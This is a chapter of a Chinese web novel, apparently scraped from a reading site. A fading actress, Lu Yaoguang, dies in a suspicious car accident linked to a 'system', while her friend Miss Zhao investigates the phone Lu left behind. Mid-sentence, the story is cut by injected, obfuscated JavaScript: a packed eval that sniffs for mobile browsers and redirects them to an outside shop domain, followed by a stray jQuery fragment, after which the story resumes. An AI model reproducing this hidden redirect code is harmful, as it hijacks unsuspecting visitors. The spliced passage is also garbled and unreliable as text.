陆摇光一直盯着她师娘打点滴的那只手，低着头没有说话。
系统不嫌烦，追问了好几声。
“死得不难看，死得不痛苦，是多少人的梦想。再说了，哭闹有用吗？我说我不想死，你们就打算放过我了？”陆摇光垂着视线，不去看师娘的脸。
害怕有什么用，吵闹有什么用。
怕了就会被人压在头上踩，闹只会让别人看笑话，娱乐圈就是这种地方，消磨自我，扭曲常识，将灵魂卖给魔鬼，然后变成下一个魔鬼。
“我师娘以前经常跟我说，做不下去就回家，家里养得起一个姑娘。可是她拿什么来养？钱是我师傅管，活也是我师傅接。她在家里洗衣做饭伺候男人，拿什么养我？一句空话而已。”
“可即便是一句空话，也很难得了。亲如一家，抱团求生，从前师傅一直都这么叮嘱我，说什么要我多多照顾那些师兄弟。我落魄的时候，可从没见他们伸出援手。只有师娘会这么对我说。”
“我不欠她什么了。”
陆摇光自顾自地感叹完，站起身。
“知名女星陆摇光突遭交通意外，目前——”
赵小姐将手机砸到地上，一瞬间零件四散，新闻里不详的语音也被掐断。
其他人瑟缩在办公室门口，显然没有人乐意在上司发怒的时候去触她的霉头。
“有没有人能劝一劝？”
“去找徐谓，去找徐谓。”
那些人以为自己压低了声音，可封闭的回廊将音波重叠回荡，赵小姐听得一清二楚。
徐谓，徐谓能有什么用，一条被利用了都不知道的狗。明显是有人在背后捣鬼，一个脑子不够用的来干什么，给别人送菜吗？
陆摇光这车祸来的奇怪极了。
别的不说，陆摇光一个出门都有专车的人，怎么会在离家万里的人行道上被一辆汽车撞了？再说，大明星出门要做什么也不会一个人，她的司机呢，她的助理呢？
另外出事地点两公里内既无商业区，也没有她熟知的合作方，陆摇光一个人跑那里去做什么？
赵小姐想不明白，更想不明白是谁在针对陆摇光，是谁想用交通肇事这种拙劣的办法掩盖背后的手段。
她头痛得要死。
陆摇光一个人牵动的是整个公司，还有许多未曾履约的合同，要一件件处理就很费心思了，还得提防背后的人进一步对星火，对她做什么。
门外的职工搬来了自己的救星，徐谓看起来还不知道发生了什么，走进来捡起四分五裂的手机，放到赵小姐桌上，“怎么突然发这么大的火？”
赵小姐听了更气了，你算什么东西，用这种语气跟我说话。
徐谓靠近一些，依旧是那张让人见了生不起气的脸，“这摔得修不回来了，你有备用手机吗？”
刚要发怒的赵小姐忽然想起来，那天陆摇光来公司找她，忘记把手机带走。她收在抽屉里准备等下次有机会再还给陆摇光。
陆摇光从来不丢三落四。
她的后背起了一片鸡皮疙瘩，手底下悄悄摸进抽屉将那部手机按住，“陆摇光出事了。”
徐谓的表情显然也是吓了一大跳，“什么？”
赵小姐仔细观察着这个无辜的男人，视线像一把手术刀，想把他皮囊剥开露出一副不知道是黑是白的骨架子。
不，不能让他靠近陆摇光，赵小姐想起之前那些奇怪的点。
“车祸，现在被送医院了。”这种消息隐瞒也没用，徐谓又不是不会上网，“现在还不能确定是意外还是人为。我需要你好好待着，如果需要出门或者去哪里，通知我。我会让司机来接送。”
徐谓刚想说应该不至于这么严重，却被赵小姐一摆手挡了回去，“你别忘了，你现在的身份。”
徐谓沉默了。
他刚和赵小姐达成契约。赵小姐利用他逃离家庭，他得到可以和陆摇光平起平坐的地位，也就是说现在在外人眼里，他是有可能成为赵家儿婿的人。
赵小姐安排了公司里的事，借此把徐谓监视起来后，立刻急匆匆赶去了医院。
她走的时候把烂手机里的卡拆走了，塞进了陆摇光落在她这儿的那个手机。
手机没有密码，打开之后里头的APP也很简单，只有几款常用的社交软件，一打开都是已经登陆的状态。
尤其是微博，居然登陆的是陆摇光带黄V的那个认证账号。
陆摇光不会这么不谨慎，赵小姐抓紧搜了一遍，却没发现什么问题。
她皱着眉头拨出一个电话，“诶，林叔，是我小赵……”
专业的事要交给专业的干。
赵小姐递了一包中华过去，“辛苦您。”
夸张到像在电影中才会出现的屏幕前坐着一个胡子拉碴的男人，他也不客气，接过赵小姐的烟后就拆了一支，“很上道嘛小妞。”
“请您帮忙看看，这是我一个姐姐的东西。她人进医院之前给我的。”微博认证在那里，赵小姐都没法说谎，也没法打感情牌。
好在对方是个没八卦心的专业人士，三两下敲完键盘，“切，复原个直接删除的数据，真是看不起我。”
等了一会儿，这部手机自开始使用以来的数据全部被他复原出来。
赵小姐目标明确地打开微博，发现陆摇光发过一条仅对自己可见的微博，上头写的内容更是让她不禁皱眉。
倒不是说陆摇光不可能受到性骚扰，而是没道理她要受徐谓的性骚扰还忍。以赵小姐对她的了解，徐谓但凡敢腆着张脸凑过来，陆摇光就能给他扇成猪头。
不过，不耽搁她拿这事大做文章。
赵小姐刚要把手机收好，接到一条消息，是电影后期的合作方，询问一下陆摇光的情况。
当时这些制作的合同，都是签的陆摇光的名字，现在问候是假，来看看是不是白干了才是真。
电影，赵小姐想起来那天陆摇光把手机落下的时候说：“你有空也帮我看着点。”
她当时以为陆摇光的意思是她作为资方，也注意盯着点进度。
但把这句话放到现在这个场景下，忽然有了新的意味。
陆摇光难道知道自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782856|190154||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……
赵小姐还没来得及往深想，手机又响了。
是她的助理打来的电话，“陆姐的助理问她手机怎么打不通，说是她师娘醒了，一直在找人。”
头痛，赵小姐捂住了额头，她从来没有觉得这么头痛过。
麻烦的不是那些合同，而是陆摇光到底经历了什么，她从电影开拍前就一直行为异常，也不向赵家求援。
到底是什么人让她觉得连赵家也没办法对付？
徐谓又跟这些人有什么关系？
·
身体腾空而起的那一刻，陆摇光并没有多少慌张。
她打星出身，吊威亚家常便饭，已经很习惯在天上被抛来抛去的感觉了。
况且系统非常人道地消减了她的感知，陆摇光还没反应过来就眼前一阵白光闪过。
在闭上眼睛的间隙，她想，交通意外总比原本的死法好太多了。
至少不是因为嫉妒发疯，请人绑架赵小姐，然后用微博大号全网直播赵小姐被动手动脚的场面，惹怒赵家后被一枪爆头。
陆摇光当时看到这个结局的时候，心里的槽都吐不完。首先，艺人的账号少有掌握在自己手里的，其次，什么年代了你赵家哪里来的管制枪械？再然后，那群小混混不长脑子啊，都说赵家手眼通天了敢接这种生意。
“好了，我们到了。”系统说。
陆摇光睁开双眼，眼前还是一片白色的世界。四面方的白墙上密密麻麻整整齐齐镶嵌着玻璃窗，一打眼让人想起现实世界里的监控室。
系统拖动那些窗口，陆摇光用一种好奇地眼神打量着它，“你为什么是一个冒着绿光的人性生物？”
“这里是数据休息室，所有东西都以数据形态存在着。只是你作为宿主，大脑无法接受不能理解的东西，所以我的形象自动根据你的常识变形了。”
“那这些窗口又是什么？”
“窗口？”系统看向她指的方向，“啊，这是我管理的世界。我可以通过这些数据观察离开后发生了什么，也可以发现需要纠正的剧情。”
所以在人类眼里显示成了电视一样的东西吗，陆摇光远远地站着观察那些窗口。
“好，找到了。”系统将一个窗口拖出来。很快那玻璃便像老式彩电一样泛起雪花点，断断续续地发出声响。
“啧，刚接入还不太稳定。”系统敲了敲玻璃，那画面很快稳定下来，“你可以在这里再看一会儿你的世界，我去交接任务。”
说着墙角浮现出一个充电仓一样的装置，系统站过去那道门自动打开。它钻进去，绿色的代码在充电仓表面不断浮动。
陆摇光瞟了一眼那个悬浮在空中的屏幕，转头向角落走去。
充电仓不知道是什么材料制作的。
哦，不对，陆摇光迅速把系统说的世界观捡起来，应该说是她的大脑自动理解成这样的。
她伸手敲了敲充电仓的外壳，绿色荧光照得她的脸一片阴冷。
听起来很脆生，陆摇光开始活动身体。
随后一拳砸在充电仓上。